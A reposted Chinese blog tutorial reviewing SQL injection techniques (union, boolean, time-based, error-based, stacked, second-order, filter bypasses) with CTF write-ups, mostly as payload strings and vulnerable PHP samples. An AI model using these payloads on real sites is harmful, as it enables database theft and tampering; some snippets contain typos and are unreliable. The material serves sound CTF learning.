SQL注入基本知识复习

SQL注入基本知识

1.数据库相关知识

1.1information_schema:MySql默认的数据库

  • SCHEMATA:
    存储用户创建的所有数据库的库名,记录数据库的字段名
    库名-----SCHEMA_NAME
  • TABLES:
    存储用户创建的所有数据库的库名和表名,对应的的字段名
    库名-----TABLE_SCHEMA 表名------TABLE_NAME
  • COLUMNS:
    存储用户创建的所有数据库的库名、表名、字段名
    库名-----TABLE_SCHEMA 表名-----TABLE_NAME
    字段名-----COLUMN_NAME

1.2Mysq查询语句

  • SELECT 字段名 FROM 库名.表名
  • SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名=‘已知的值’
  • SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名1=‘已知的值1’ AND 已知的字段名2=‘已知的值2’

2.攻击方式

2.1Union 注入

  1. order by 查询数据表的字段数量
    例:id=1 order by 3 页面结果与id=1相同, id=1 order by 4页面结果与id=1不同,则字段数量为3.
  2. union select 爆显示点
    例:id=-1 union select 1,2,3 页面返回2、3,则表示2和3的位置可以输入MySQL语句di
  3. MySQL语句
    例:先在2的位置上用database()函数查询当前数据库名称–‘sql’,接着查询所得的该数据库的一个表名’emails’,再得到数据库名称和表名后查询字段名’email_id’,最后获得所需要的数据
id = 1 union select 1,database(),3;
id = 1 union select 1,tabel_name from information_schema.tables where table_schema='sql' limit 0,1;,3
id = 1 union select 1,column_name from  information_schema.columns  where table_schema='sql' and table_name='emails' limit 0,1;,3
id = 1 union select 1,email_id from sql.emails limit 0,1;,3

2.2Boolean 注入

  1. 在页面不返回数据库中的数据时,尝试Boolean注入
  2. 判断数据库的长度,尝试n的不同数值,由页面返回状况得到数据库长度
id = '1'  and length(database()) >= n --+
  1. 逐字符判断获取数据库库名,变量处可以用burpsuit进行爆破,同样的方法判断表名是
id = '1' and substr(database(),1,1)='t' --+
id = '1' and substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e' --+

时间注入形式

id ='1' and if(substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e',sleep(3),1) --+

2.3报错注入

  1. 根据页面返回错误信息,利用updataxml()等函数获取数据
    例:updatexml()获取数据库test的表名
  ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+

2.4堆叠查询注入

1.判断条件:如果用id=1’ 显示mysql错误 id=1’# 页面返回正常结果可以尝试堆叠注入
2. 注入代码实例

id = '1';select if(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23

2.5二次注入

  1. 1.php注册页面代码分析
<?php
$con=mysqli_connect("localhost","root","root","sql");
if(mysqli_connect_errno())
{
    
    
echo "连接失败:".mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con,"insert into users(`username`,`password`) values('".addslashes($username)."','"md5($password)."')");
echo "新id为:".mysqli_insert_id($con);
?>
  • 该页面用GET方式获得password和username参数并拼接到insert语句插入到数据库
  • 参数usernmae使用了addslashes($username)函数进行转义
    addslashes()示例:
    转义字符o’reilly ----> o’\reilly 使数据被插入到数据库时保留为o’reily
  • 参数password使用了md5加密后插入到数据库
  • 在注册后 会返回一个登录的id
    2.php访问页面代码分析
<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
    
    
echo "连接失败:".mysqli_connect_error();
}
$id =intval($_GET['id']);
$result = mysqli_query($con,"select *from users where `id`=".$id);
$row = mysqli_fetch_array($result);
$username = $row['username'];
$result2 = mysqli_query($con,"select * from person where `username`='".$username."'");
if($row2 = mysqli_fetch_array($result2)){
    
    
echo $row2['username'].":".$row2['money'];
}
else{
    
    
echo mysqli_error($con);}
?>
  • 用Get方式获得参数id,并使用intval()函数确保其为整型拼接到SQL语句查询users表中的username
  • 接着到person表查询username对应的数据

注入实例
利用test’在2.php中的错误 去查询union后的内容
1.首先尝试1.php?username=test’ 返回的ID为21,访问2.php?id=21将会报错
2.接着尝试1.php?usename=test’ order by n%23 访问对应的id界面去判断数据库表中一共有多少个字段
3.假设有3个字段 则访问1.php?username=test’ union select 1,user(),3%23
获得新id=40 访问2.php?id=40 得到user()的结果

3.SQL注入绕过

3.1大小写绕过注入

例:
访问id=1 and 1=1页面返回"no hacker",很明显是关键词被过滤,尝试id=1 And 1=1等

3.2双写绕过注入

例:
访问id = 1 and 1=1,页面报出MySQL错误,从错误信息可以看出 and 1=1 变成 1=1,则关键字and被过滤了,使用双写绕过 id =1 aandnd 1=2;
or ==> oorr 、From ==>FFromrom 等

4.几道简单的实例题目

4.1[极客大挑战2019]Lovesql解题思路

  • 尝试利用union注入,先判断字段数量 1’ order by 3# 与1’ order by 4#,页面返回不同,所有推出字段数量为3.
  • 接着尝试爆点 1’ union select 1,2,3#
    显示出显示位置
    • 接着尝试利用union select 1,2,3# 中的三的位置去获得数据库的信息
payload: 1' union select 1,2,database()#
payload: 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#
payload: 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#
payload: 1' union select 1,2,group_concat(password) from l0ve1ysq1#

可以得到flag:flag

4.2[极客大挑战 2019]BabySQL

思路同4.1,在4.1的基础上加了双写绕过,直接给步骤的payload。
爆显–>查数据库–>查表名–>查字段名–>查密码得出flag

1' uniounionn selecselectt 1,2,3#   
1' uniounionn selecselectt 1,2,database()# 
1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema="geek"#
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name="b4bsql"#
1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#

4.3[强网杯 2019]随便注

  • 尝试利用union注入,发现字符串的过滤
  • 尝试堆叠注入
  • 给思路:查数据库–>查表名–>查字段名
payload: 1';show databases;#
payload: 1';show tables;#
payload: 1';show columns from words;#  
payload: 1';show columns from `1919810931114514`;#

可以发现后台默认查询的表是words,可以通过改表明去查询1919810931114514表

payload: 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table  `words` change `flag` `id` varchar(100);#

1’ or 1=1#得到flag.

4.4 [极客大挑战 2019]HardSQL(报错注入)

解题思路
1.手动尝试union注入,发现union select,空格等字符被过滤
2.尝试报错注入
空格过滤用()代替 =用like select用大写
3.依次拿到数据库名、表名、字段名
4.最后在获取flag的时候发现

admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))from(H4rDsq1)),0x7e),1))#

上面的注入方式只能获得部分flag,应该是字符的限制,添加left和right.

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(left(password,25)))from(H4rDsq1)),0x7e),1))#

给个flag

flag{2e150fa9-e37c-4fb6-acb7-c89f5e0cdf39}

4.5[GXYCTF2019]BabySQli

  • 进去随便输入个密码抓个包
  • 给了一个base32编码的提示 先base32解码 再base64解码得到
  • select * from user where username = ‘$name’
  • 先判断一下字段数
    1' orderby 3#
    发现orderby被过滤了 于是尝试了一下大写绕过 成功判断出字段数为3
  • 尝试一下万能密码在这里插入图片描述
  • 不出所料 do not hack me!
  • 以为是过滤,尝试各种绕过
  • 然后选择了看源码(tcl…)
if (!$result) {
    
    
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
    
    
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
    
    
			if(md5($password) == $arr[2]){
    
    
				echo $flag;
			}
			else{
    
    
				die("wrong pass!");
			}
		}
		else{
    
    
			die("wrong user!");
		}
	}
}
  • 大概意思是 select的结果第二位要等于admin 第三位要等于密码md5加密
  • 选密码为123 md5加密后为202cb962ac59075b964b07152d234b70
  • 所以payload如下
username:wtcl' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123

get flag!想到就不难 想不到能做裂开的一道题

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/112644263